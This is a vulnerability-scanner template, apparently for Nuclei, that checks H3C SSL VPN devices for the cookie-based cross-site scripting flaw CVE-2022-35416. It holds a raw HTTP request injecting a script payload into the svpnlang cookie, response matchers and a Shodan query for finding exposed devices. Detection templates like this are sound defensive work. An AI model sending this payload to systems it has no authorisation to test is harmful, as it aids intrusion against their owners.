id: CVE-2022-35416

info:
  name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting
  author: 0x240x23elu
  severity: medium
  description: |
    H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
  remediation: |
    Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.
  reference:
    - https://github.com/advisories/GHSA-9x76-78gc-r3m9
    - https://github.com/Docker-droid/H3C_SSL_VPN_XSS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-35416
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-35416
    cwe-id: CWE-79
    epss-score: 0.00099
    epss-percentile: 0.40683
    cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: h3c
    product: ssl_vpn
    shodan-query: http.html_hash:510586239
  tags: cve,cve2022,xss,vpn,h3c

http:
  - raw:
      - |
        GET /wnm/login/login.json HTTP/1.1
        Host: {{Hostname}}
        Cookie: svpnlang=<script>alert('document.domain')</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('document.domain')</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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